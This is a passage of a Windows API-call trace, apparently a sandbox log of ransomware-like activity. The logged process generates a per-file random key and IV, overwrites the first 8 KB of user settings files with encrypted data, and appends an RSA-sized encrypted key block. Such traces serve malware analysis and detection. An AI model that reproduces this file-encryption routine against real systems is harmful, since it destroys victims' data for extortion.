nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.282] WriteFile (in: hFile=0xcd0, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.282] CloseHandle (hObject=0xcd0) returned 1 [0158.284] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0158.284] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0158.284] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0158.284] ReadFile (in: hFile=0xcd0, lpBuffer=0x2ec3030, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.292] SetFilePointer (in: hFile=0xcd0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.293] WriteFile (in: hFile=0xcd0, lpBuffer=0x2ed1068*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.293] SetFilePointer (in: hFile=0xcd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.293] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.293] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.293] WriteFile (in: hFile=0xcd0, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.294] WriteFile (in: hFile=0xcd0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.294] CloseHandle (hObject=0xcd0) returned 1 [0158.295] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0158.295] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0158.295] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.296] ReadFile (in: hFile=0xcd0, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.297] SetFilePointer (in: hFile=0xcd0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.297] WriteFile (in: hFile=0xcd0, lpBuffer=0x2ec5038*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.298] SetFilePointer (in: hFile=0xcd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.298] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.298] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.298] WriteFile (in: hFile=0xcd0, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.298] WriteFile (in: hFile=0xcd0, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.299] CloseHandle (hObject=0xcd0) returned 1 [0158.302] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0158.302] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.302] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.303] ReadFile (in: hFile=0xcd0, lpBuffer=0x5c3438, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.303] SetFilePointer (in: hFile=0xcd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.303] WriteFile (in: hFile=0xcd0, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.303] SetFilePointer (in: hFile=0xcd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.303] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.303] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.304] WriteFile (in: hFile=0xcd0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.305] WriteFile (in: hFile=0xcd0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.305] CloseHandle (hObject=0xcd0) returned 1 [0158.307] WriteFile (in: hFile=0xcdc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.308] CloseHandle (hObject=0xcdc) returned 1 [0158.309] WriteFile (in: hFile=0xcdc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.309] CloseHandle (hObject=0xcdc) returned 1 [0158.310] WriteFile (in: hFile=0xcdc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.311] CloseHandle (hObject=0xcdc) returned 1 [0158.311] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0158.311] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0158.311] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.312] ReadFile (in: hFile=0xcf0, lpBuffer=0x2ec9048, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.313] SetFilePointer (in: hFile=0xcf0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.313] WriteFile (in: hFile=0xcf0, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.313] SetFilePointer (in: hFile=0xcf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.313] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.313] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.313] WriteFile (in: hFile=0xcf0, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.314] WriteFile (in: hFile=0xcf0, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.314] CloseHandle (hObject=0xcf0) returned 1 [0158.325] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0158.326] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0158.326] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CredDialogHost_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.326] ReadFile (in: hFile=0xcf0, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.326] SetFilePointer (in: hFile=0xcf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.326] WriteFile (in: hFile=0xcf0, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.326] SetFilePointer (in: hFile=0xcf0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.326] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.326] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.326] WriteFile (in: hFile=0xcf0, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.327] WriteFile (in: hFile=0xcf0, lpBuffer=0x5c3468*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3468*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.328] CloseHandle (hObject=0xcf0) returned 1 [0158.330] WriteFile (in: hFile=0xcfc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.331] CloseHandle (hObject=0xcfc) returned 1 [0158.332] WriteFile (in: hFile=0xcfc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.342] CloseHandle (hObject=0xcfc) returned 1 [0158.342] WriteFile (in: hFile=0xcfc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.343] CloseHandle (hObject=0xcfc) returned 1 [0158.344] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0158.344] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.344] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.344] ReadFile (in: hFile=0xd10, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.353] SetFilePointer (in: hFile=0xd10, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.353] WriteFile (in: hFile=0xd10, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.354] SetFilePointer (in: hFile=0xd10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.354] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.354] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.354] WriteFile (in: hFile=0xd10, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.354] WriteFile (in: hFile=0xd10, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.354] CloseHandle (hObject=0xd10) returned 1 [0158.359] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0158.359] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.359] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.359] ReadFile (in: hFile=0xd10, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.360] SetFilePointer (in: hFile=0xd10, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.360] WriteFile (in: hFile=0xd10, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.360] SetFilePointer (in: hFile=0xd10, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.360] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.360] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.360] WriteFile (in: hFile=0xd10, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.361] WriteFile (in: hFile=0xd10, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.361] CloseHandle (hObject=0xd10) returned 1 [0158.376] WriteFile (in: hFile=0xd1c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.377] CloseHandle (hObject=0xd1c) returned 1 [0158.377] WriteFile (in: hFile=0xd1c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.378] CloseHandle (hObject=0xd1c) returned 1 [0158.379] WriteFile (in: hFile=0xd1c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.380] CloseHandle (hObject=0xd1c) returned 1 [0158.381] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0158.381] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0158.381] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0158.388] ReadFile (in: hFile=0xd30, lpBuffer=0x5c3428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.388] SetFilePointer (in: hFile=0xd30, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.388] WriteFile (in: hFile=0xd30, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.388] SetFilePointer (in: hFile=0xd30, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.388] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.388] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.388] WriteFile (in: hFile=0xd30, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.389] WriteFile (in: hFile=0xd30, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.389] CloseHandle (hObject=0xd30) returned 1 [0158.391] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0158.391] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.391] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0158.391] ReadFile (in: hFile=0xd30, lpBuffer=0x2ec7040, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.402] SetFilePointer (in: hFile=0xd30, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.402] WriteFile (in: hFile=0xd30, lpBuffer=0x2ed1068*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ed1068*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.403] SetFilePointer (in: hFile=0xd30, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.403] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.403] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.403] WriteFile (in: hFile=0xd30, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.404] WriteFile (in: hFile=0xd30, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.404] CloseHandle (hObject=0xd30) returned 1 [0158.405] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0158.405] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0158.405] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Getstarted_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.406] ReadFile (in: hFile=0xd30, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.422] SetFilePointer (in: hFile=0xd30, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) 